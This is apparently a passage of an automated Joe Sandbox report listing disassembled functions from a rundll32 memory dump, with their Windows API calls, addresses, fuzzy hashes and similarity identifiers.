Function 046A2137 Relevance: 1.5, APIs: 1, Instructions: 38fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(FFFFFFFF,00000040,00000000,00000000,00000000,046A28A7,00000000,00000000,FFFFFFFF,00000000,FFFFFFFF,00000000,046A1EE6,00000004,00000040,00000000), ref: 046A2194

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 367daa7d97d1e457d0a7f8bc975b4038f0768ab819b49eebf17527595d90d920
Instruction ID: a6d197fa9e14830b9c67fbe235c244c691ca39edf1f143339887c23abe86eb8e
Opcode Fuzzy Hash: 367daa7d97d1e457d0a7f8bc975b4038f0768ab819b49eebf17527595d90d920
Instruction Fuzzy Hash: 44F06D72715211EFDB09CF6DDC60EAA77E9EB98620B06C41DFA45D7200E674EC208BA0

Uniqueness

Uniqueness Score: -1.00%

Function 046C0365 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,046B2FDB,?,?,046B5099,?,?,?,?,?,046B2EC9,046B2FDB,?,?,?,?), ref: 046C0397

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: a1a1d43d6cb0ca30bf6c3d065c6acaf8edc1755866ee32c4ed6ad6019fd4fc51
Instruction ID: 16353859ee06e5714e409a63ae9d98b6b1dc5c285a180cffe7a4e84ce1ca98cb
Opcode Fuzzy Hash: a1a1d43d6cb0ca30bf6c3d065c6acaf8edc1755866ee32c4ed6ad6019fd4fc51
Instruction Fuzzy Hash: 75E06531205622EBEB2126E5DC107BB7648DB517A0F15121EFCCDDE2C0FB54F88182E9

Uniqueness

Uniqueness Score: -1.00%

Function 046A2269 Relevance: 1.5, APIs: 1, Instructions: 26processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,046E0F90,00000000,00000000,00000000,04000000,00000000,00000000,046E1798,?), ref: 046A2290

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 12226309c5ec45cba620e0fb2fffa8936818d4a1ac1552ce24329a79768e82fe
Instruction ID: aab5b1be89a9b1041f316494f44f7a0de0f08c61283c3d86795cc19b31665484
Opcode Fuzzy Hash: 12226309c5ec45cba620e0fb2fffa8936818d4a1ac1552ce24329a79768e82fe
Instruction Fuzzy Hash: E3E0B6B06406097FFB00EBA5EC5AF7B77ECE74064CF500858B911E6280F6B4ED145A64

Uniqueness

Uniqueness Score: -1.00%

Function 046A28BC Relevance: 1.5, APIs: 1, Instructions: 24fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(?,046EB3A0,00000000,00000000,00000000,?,00000000,?,046EB3A0,046A208F,?,?,00000004,00000040,00000000,00000000), ref: 046A28CF

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 4783c780e5d94cac4f2166376b0fdbaead0825070fdc0e605f593b3d8e522e5b
Instruction ID: 1a9bc657abceec1a0f78d1c01741b6c5a61c71f06f387fa896d16f76031f346a
Opcode Fuzzy Hash: 4783c780e5d94cac4f2166376b0fdbaead0825070fdc0e605f593b3d8e522e5b
Instruction Fuzzy Hash: 4BE0EC62200128BA5B249A5ADC08DABFBACDAA1AA47114066F905D2200E570FE49D6F1

Uniqueness

Uniqueness Score: -1.00%

Function 046A20F6 Relevance: 1.5, APIs: 1, Instructions: 21COMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(FFFFFFFF,?,00000000,?,046A20F5,?,00000000,046A1DFD,?,00000000), ref: 046A2106

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 4f6ee20b47d2d18b936b655f45cd8ce2971a9bb3519e58a3b0f301b5aaa18bd6
Instruction ID: e46fecaa88603d6264d41a52d6905aea1679ab242cdd5c37214cb95a09c024f5
Opcode Fuzzy Hash: 4f6ee20b47d2d18b936b655f45cd8ce2971a9bb3519e58a3b0f301b5aaa18bd6
Instruction Fuzzy Hash: 2DE04FB1285901ABC7198AADDD2CB657AA1F7A6300F04C294F700817E4F235FC61DF11

Uniqueness

Uniqueness Score: -1.00%

Function 6D4BD43B Relevance: 1.5, APIs: 1, Instructions: 12COMMONLIBRARYCODE

Download Yara Rule

APIs

_execute_onexit_table.API-MS-WIN-CRT-RUNTIME-L1-1-0(6D4D64FC,6D4BDA7D,6D4D41C8,00000010,6D4BD92F,?,?,6D4BDB44,?,00000001,?,?,00000001,?,6D4D41F0,0000000C), ref: 6D4BD449

Memory Dump Source

Source File: 00000006.00000002.1534852937.000000006D4A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6D4A0000, based on PE: true

Associated: 00000006.00000002.1534825546.000000006D4A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1534887849.000000006D4D1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1534915927.000000006D4D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1534943155.000000006D4D7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6d4a0000_rundll32.jbxd

Similarity

API ID: _execute_onexit_table
String ID:
API String ID: 3584136091-0
Opcode ID: 172549f92cc962a30cbf39d56b98fa6b81058ea5fe2296e56596c34f17554123
Instruction ID: dbc0e62ba11e1c8d48e0d5d99b439652e2ce481dd83c9dddad468187628b6d08
Opcode Fuzzy Hash: 172549f92cc962a30cbf39d56b98fa6b81058ea5fe2296e56596c34f17554123
Instruction Fuzzy Hash: 54C04C54108103956F4096B64560F3A31A42DF414DB6528F9AA17E0240DF39EC4095B5

Uniqueness

Uniqueness Score: -1.00%

Function 6D4B324D Relevance: 1.5, APIs: 1, Instructions: 244COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,00000000,?,?,?,?,00000000,-00000160,-00000140,-000000A0,00000000,00000050,00000000,-00000050,0000001C,E318EDD0), ref: 6D4B3271

Part of subcall function 6D4B7A13: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,-000000D4,00000000,6D4B344D,-0000001C,00000000,-00000034,00000000,-00000180,-00000138,-000000A8,?,0000000C,00000000,-00000080,00000000), ref: 6D4B7A39

Part of subcall function 6D4BAA95: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6D4B7AA6,-00000074,00000000,6D4B3061,00000000,-00000068,00000000,-00000028,00000020,00000024,000000E9,00000000), ref: 6D4BAAD4

Part of subcall function 6D4BAA49: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6D4B7A95,-000000EC,00000000,6D4B301E,00000000,-00000028,00000020,00000024,000000E9,00000000,-00000018,00000000), ref: 6D4BAA78

Part of subcall function 6D4B6DCD: calloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,00000004,-000000EC,-000000EC,00000000,6D4B300A,-00000028,00000020,00000024,000000E9,00000000,-00000018,00000000,00000000,00000028,-00000130), ref: 6D4B6E00

Memory Dump Source

Source File: 00000006.00000002.1534852937.000000006D4A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6D4A0000, based on PE: true

Associated: 00000006.00000002.1534825546.000000006D4A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1534887849.000000006D4D1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1534915927.000000006D4D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1534943155.000000006D4D7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6d4a0000_rundll32.jbxd

Similarity

API ID: free$callocmemcpy
String ID:
API String ID: 603207647-0
Opcode ID: bfc577f326700a3e613e7d4cffeecb78f9103287e5e6775fc6cd9bda8f6fd531
Instruction ID: 9c98b065a635454befecde21e918336cbdec1cbefb7d1115d407fbc6846ee65c
Opcode Fuzzy Hash: bfc577f326700a3e613e7d4cffeecb78f9103287e5e6775fc6cd9bda8f6fd531
Instruction Fuzzy Hash: 07B129308192599ECB19DF65CC90EDDB774BF25318F4142ADE656660A0EF30AF88CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 6D4A9BE6 Relevance: 1.4, APIs: 1, Instructions: 101COMMON

Download Yara Rule

APIs

Part of subcall function 6D4B042D: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6D4B0487
Part of subcall function 6D4B042D: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6D4B04A3

CoUninitialize.OLE32(?,?,0000000A), ref: 6D4A9D77

Memory Dump Source

Source File: 00000006.00000002.1534852937.000000006D4A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6D4A0000, based on PE: true

Associated: 00000006.00000002.1534825546.000000006D4A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1534887849.000000006D4D1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1534915927.000000006D4D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1534943155.000000006D4D7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6d4a0000_rundll32.jbxd

Similarity

API ID: free$Uninitialize
String ID:
API String ID: 3523586648-0
Opcode ID: e9972b0b71e51d9f7d0562ec15ec15c8a3c39115e2f82fa0204b3d99ffd98bb9
Instruction ID: 6f9e7027fb69df19935b5c4c92d180f456b04d20f7ba6aab7b9ebb59011f2b1f
Opcode Fuzzy Hash: e9972b0b71e51d9f7d0562ec15ec15c8a3c39115e2f82fa0204b3d99ffd98bb9
Instruction Fuzzy Hash: 1041F1319061189FDB24CB64CC84FDDB7B0BF29315F0482EAE55AA32A1DB306E85CF40

Uniqueness

Uniqueness Score: -1.00%

Function 6D4A9CE4 Relevance: 1.3, APIs: 1, Instructions: 49COMMON

Download Yara Rule

APIs

CoUninitialize.OLE32(?,?,0000000A), ref: 6D4A9D77

Memory Dump Source

Source File: 00000006.00000002.1534852937.000000006D4A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6D4A0000, based on PE: true

Associated: 00000006.00000002.1534825546.000000006D4A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1534887849.000000006D4D1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1534915927.000000006D4D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1534943155.000000006D4D7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6d4a0000_rundll32.jbxd

Similarity

API ID: Uninitialize
String ID:
API String ID: 3861434553-0
Opcode ID: 42f0b61bcf88bfa5214cd9601440bddf24a4e0b78758ac3f7dcf21f2506e8ac4
Instruction ID: 1be0661595e4fc1be12eb83503e6cdb4b07bf9cbed34f7da186e6da9ab399ecd
Opcode Fuzzy Hash: 42f0b61bcf88bfa5214cd9601440bddf24a4e0b78758ac3f7dcf21f2506e8ac4
Instruction Fuzzy Hash: 6311B734905219DFDB54DB68C885FCDBBB0FF48320F1082AAE51AE72A1CB315E818F40

Uniqueness

Uniqueness Score: -1.00%

Function 6D4A9D57 Relevance: 1.3, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

CoUninitialize.OLE32(?,?,0000000A), ref: 6D4A9D77

Memory Dump Source

Source File: 00000006.00000002.1534852937.000000006D4A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6D4A0000, based on PE: true

Associated: 00000006.00000002.1534825546.000000006D4A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1534887849.000000006D4D1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1534915927.000000006D4D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1534943155.000000006D4D7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6d4a0000_rundll32.jbxd

Similarity

API ID: Uninitialize
String ID:
API String ID: 3861434553-0
Opcode ID: e24be03cc20bbdec310949f62cd81a4aa8a86a72ed9489dbdac92a2d4d910c2e
Instruction ID: 1ab81f0ea092486a0856f869ca25fd28a41856c69fcd5df976529578432ee333
Opcode Fuzzy Hash: e24be03cc20bbdec310949f62cd81a4aa8a86a72ed9489dbdac92a2d4d910c2e
Instruction Fuzzy Hash: F0F03935A08109CFDB14DFA8D949B9CBBB0FF88321F1041AAE55AE72A1CB31AD40CF00

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 046A5DA1 Relevance: 60.1, APIs: 33, Strings: 1, Instructions: 555windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 046A5DBB
GetDlgItem.USER32(?,00000408), ref: 046A5DCD
GlobalAlloc.KERNEL32(00000040,00000001), ref: 046A5E12
LoadBitmapW.USER32(0000006E), ref: 046A5E25
SetWindowLongW.USER32(00000000,000000FC,Function_00005D16), ref: 046A5E3C
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 046A5E51
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 046A5E63
SendMessageW.USER32(00000000,00001109,00000002), ref: 046A5E76
SendMessageW.USER32(00000000,0000111C,00000000,00000000), ref: 046A5E82
SendMessageW.USER32(00000000,0000111B,00000010,00000000), ref: 046A5E93
DeleteObject.GDI32(00000000), ref: 046A5E96
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 046A5EC1
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 046A5ECB
SendMessageW.USER32(?,00001132,00000000,?), ref: 046A5F85
SendMessageW.USER32(?,0000110A,00000003,00000000), ref: 046A5FAF
SendMessageW.USER32(?,00001132,00000000,?), ref: 046A5FC5
GetWindowLongW.USER32(?,000000F0), ref: 046A5FF4
SetWindowLongW.USER32(?,000000F0,00000000), ref: 046A6001
ShowWindow.USER32(?,00000005), ref: 046A6015
SendMessageW.USER32(?,00000419,00000000,?), ref: 046A617A
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 046A61E0
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 046A61F4
SendMessageW.USER32(?,00000420,00000000), ref: 046A6220
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 046A626A
ImageList_Destroy.COMCTL32(?), ref: 046A6299
GlobalFree.KERNEL32(?), ref: 046A62A9

Strings

M, xrefs: 046A5F6C

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: MessageSend$Window$ImageList_Long$GlobalItem$AllocBitmapCreateDeleteDestroyFreeLoadMaskedObjectShow
String ID: M
API String ID: 753935003-3664761504
Opcode ID: d9af609b65e47713e8584ddd2290a6bb1c96c3d66060af0cee4af91935f54255
Instruction ID: 56ba97a7f3ba9006c51042d4d6f7a53786d94ca77c5d82b6e5f3d7d0c8bed66a
Opcode Fuzzy Hash: d9af609b65e47713e8584ddd2290a6bb1c96c3d66060af0cee4af91935f54255
Instruction Fuzzy Hash: CE12E371604701AFE724DF28C884B6AB7E5FB88314F04892DFA9AD7291FB74AC518F51

Uniqueness

Uniqueness Score: -1.00%

Function 046A664C Relevance: 54.3, APIs: 36, Instructions: 312windowclipboardmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000403), ref: 046A66C5
GetDlgItem.USER32(?,000003EE), ref: 046A66D2
GetClientRect.USER32(00000000,?), ref: 046A670D
GetSystemMetrics.USER32(00000002), ref: 046A6715
SendMessageW.USER32(00000000,00001061,00000000,00000002), ref: 046A6737
SendMessageW.USER32(00000000,00001036,00004000,00004000), ref: 046A6746
SendMessageW.USER32(00000000,00001001,00000000,?), ref: 046A6758
SendMessageW.USER32(00000000,00001026,00000000,?), ref: 046A6765
SendMessageW.USER32(00000000,00001024,00000000,?), ref: 046A6777
ShowWindow.USER32(00000000,?), ref: 046A679A
ShowWindow.USER32(00000000,00000008), ref: 046A67AC
GetDlgItem.USER32(?,000003EC), ref: 046A67CB
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 046A67DF
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 046A67FA
SendMessageW.USER32(00000000,00002001,00000000,?), ref: 046A6807
ShowWindow.USER32(00000000), ref: 046A688C
ShowWindow.USER32(00000000,00000008), ref: 046A6891
GetDlgItem.USER32(?,000003F8), ref: 046A66DF

Part of subcall function 046A513D: SendMessageW.USER32(00000028,?,00000001,046A5939), ref: 046A5148

GetDlgItem.USER32(?,000003EC), ref: 046A6824
CreateThread.KERNEL32(00000000,00000000,Function_000065E0,00000000), ref: 046A6832
CloseHandle.KERNEL32(00000000), ref: 046A6839
ShowWindow.USER32(00000008), ref: 046A68CC
SendMessageW.USER32(00000000,00001004,00000000,00000000), ref: 046A6910
CreatePopupMenu.USER32 ref: 046A6922
AppendMenuW.USER32(?,00000000,00000001,00000000), ref: 046A6940
GetWindowRect.USER32(00000000,?), ref: 046A695E
TrackPopupMenu.USER32(?,00000180,?,?,00000000,?,00000000), ref: 046A697A
SendMessageW.USER32(00000000,00001073,?,?), ref: 046A69AD
OpenClipboard.USER32(00000000), ref: 046A69BD
EmptyClipboard.USER32 ref: 046A69C3
GlobalAlloc.KERNEL32(00000042,00000000), ref: 046A69CF
GlobalLock.KERNEL32(00000000), ref: 046A69DC
SendMessageW.USER32(00000000,00001073,00000000,?), ref: 046A69F8
GlobalUnlock.KERNEL32(00000000), ref: 046A6A1B
SetClipboardData.USER32(0000000D,00000000), ref: 046A6A26
CloseClipboard.USER32 ref: 046A6A2C

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID:
API String ID: 590372296-0
Opcode ID: 085f767c43cc3913bc9ca96db557bfc49295198bfea5ec1f4ec250dee9316a8e
Instruction ID: adfa213a1b71be4996b66b4fa44d890735fc626be51a39edc65bd0b295689f8b
Opcode Fuzzy Hash: 085f767c43cc3913bc9ca96db557bfc49295198bfea5ec1f4ec250dee9316a8e
Instruction Fuzzy Hash: 64B190B1605700ABD324DF24DC48A6BBBEDFB88754F004419F68696291EB78EC45CFA2

Uniqueness

Uniqueness Score: -1.00%

Function 046A5887 Relevance: 26.5, APIs: 13, Strings: 2, Instructions: 294COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 046A58DB
SetWindowTextW.USER32(?,?), ref: 046A590C

Part of subcall function 046A22A9: GetDlgItemTextW.USER32(000003FB,?,00000400,046A5329), ref: 046A22BA

Part of subcall function 046A2FDE: CharNextW.USER32(046A1393,00000020,771B3420,?,00000000,046A10B0,055BC820,046A1393), ref: 046A3051
Part of subcall function 046A2FDE: CharNextW.USER32(046A1393,00000000,?,00000000,046A10B0,055BC820,046A1393), ref: 046A3062
Part of subcall function 046A2FDE: CharNextW.USER32(046A1393,00000020,771B3420,?,00000000,046A10B0,055BC820,046A1393), ref: 046A3067
Part of subcall function 046A2FDE: CharPrevW.USER32(046A1393,046A1393,00000020,771B3420,?,00000000,046A10B0,055BC820,046A1393), ref: 046A307F

Strings

Exec, xrefs: 046A5A20, 046A5A2F
A, xrefs: 046A59D7

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: Char$Next$ItemText$PrevWindow
String ID: A$Exec
API String ID: 4089110348-2074005321
Opcode ID: 4c263c4956c4debed2c8dc652d8dcf3ba10f03b61da840cb3608fb1df6099ee2
Instruction ID: b3680f3d0300910d9e4871b482957ffb3be33fd01d279d8c15a6c33063610e5f
Opcode Fuzzy Hash: 4c263c4956c4debed2c8dc652d8dcf3ba10f03b61da840cb3608fb1df6099ee2
Instruction Fuzzy Hash: BCA1F0B1705B01EBEB14DF64C894A6A77A5EB94318F00482DFA439B380FB74EC558F96

Uniqueness

Uniqueness Score: -1.00%

Function 046AC780 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 82synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 046AC8E0: AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,046AC503), ref: 046AC91D
Part of subcall function 046AC8E0: CheckTokenMembership.ADVAPI32(00000000,046AC503,00000000), ref: 046AC92F
Part of subcall function 046AC8E0: GetLastError.KERNEL32 ref: 046AC939
Part of subcall function 046AC8E0: FreeSid.ADVAPI32(046AC503), ref: 046AC949

GetCurrentDirectoryW.KERNEL32(00000104,?,?,?,00000000), ref: 046AC7C5
GetModuleFileNameW.KERNEL32(00000000,?,00000104,?,?,00000000), ref: 046AC7D9
ShellExecuteExW.SHELL32(0000003C), ref: 046AC859
GetLastError.KERNEL32(?,?,?,?,?,00000000), ref: 046AC863
WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,?,?,00000000), ref: 046AC878
GetExitCodeProcess.KERNEL32(?,?), ref: 046AC895
CloseHandle.KERNEL32(?,?,?,?,?,?,00000000), ref: 046AC8A1

Strings

runas, xrefs: 046AC807
@, xrefs: 046AC84F
<, xrefs: 046AC7EF

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: ErrorLast$AllocateCheckCloseCodeCurrentDirectoryExecuteExitFileFreeHandleInitializeMembershipModuleNameObjectProcessShellSingleTokenWait
String ID: <$@$runas
API String ID: 281378056-2740324054
Opcode ID: adca4257889f0892da7f9854d0289ececd9014cf28f8087a3e385e758ff9a0ee
Instruction ID: 5b5e4e2633f3b5d751ffb96b0bde454e5ab0f6c73e6e4b1e0a05618c14731de5
Opcode Fuzzy Hash: adca4257889f0892da7f9854d0289ececd9014cf28f8087a3e385e758ff9a0ee
Instruction Fuzzy Hash: 44314EB190121C9BEB209F50DC48BD9BBB9EB04745F5041E9E609A6181EB746EC8CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 046B3A83 Relevance: 15.2, APIs: 10, Instructions: 200fileCOMMON

Download Yara Rule

APIs

GetFileAttributesExW.KERNEL32(000000FF,00000000,?,00000002,?,00000000), ref: 046B3B1B
GetLastError.KERNEL32 ref: 046B3B25
FindFirstFileW.KERNEL32(000000FF,?), ref: 046B3B3C
GetLastError.KERNEL32 ref: 046B3B47
FindClose.KERNEL32(00000000), ref: 046B3B53
___std_fs_open_handle@16.LIBCPMT ref: 046B3C0C

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: ErrorFileFindLast$AttributesCloseFirst___std_fs_open_handle@16
String ID:
API String ID: 2340820627-0
Opcode ID: da51b4074534bd008736ab19260ec916cada066f5b40cf86c7963d1f2b375a5b
Instruction ID: f31757596bcfc621ea488a1344ba707dee1b4a5d3d4cb80302493f27b09e1cb9
Opcode Fuzzy Hash: da51b4074534bd008736ab19260ec916cada066f5b40cf86c7963d1f2b375a5b
Instruction Fuzzy Hash: 35717D74B41619AFCB25CF68C888BEAB7B8AF15310F144255EC95E7380FB30A9D1CB91

Uniqueness

Uniqueness Score: -1.00%

Function 046C9150 Relevance: 10.2, APIs: 1, Strings: 4, Instructions: 1409COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 046C92EF

Strings

1#IND, xrefs: 046C9210
1#SNAN, xrefs: 046C9217
1#QNAN, xrefs: 046C921E
1#INF, xrefs: 046C9241

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 09e81c618ccd52d1a31b830e1b72855486ac1b35f88c7a354832ea156c98ef3a
Instruction ID: 70d9ba988b038fa9223358fc8a54edd94ce82db050c851e0f6926c0735d61f28
Opcode Fuzzy Hash: 09e81c618ccd52d1a31b830e1b72855486ac1b35f88c7a354832ea156c98ef3a
Instruction Fuzzy Hash: A1D216B1E086288FDB65CE68DD447EAB7B5EB54304F1445EED44EE7240E738AE858F80

Uniqueness

Uniqueness Score: -1.00%

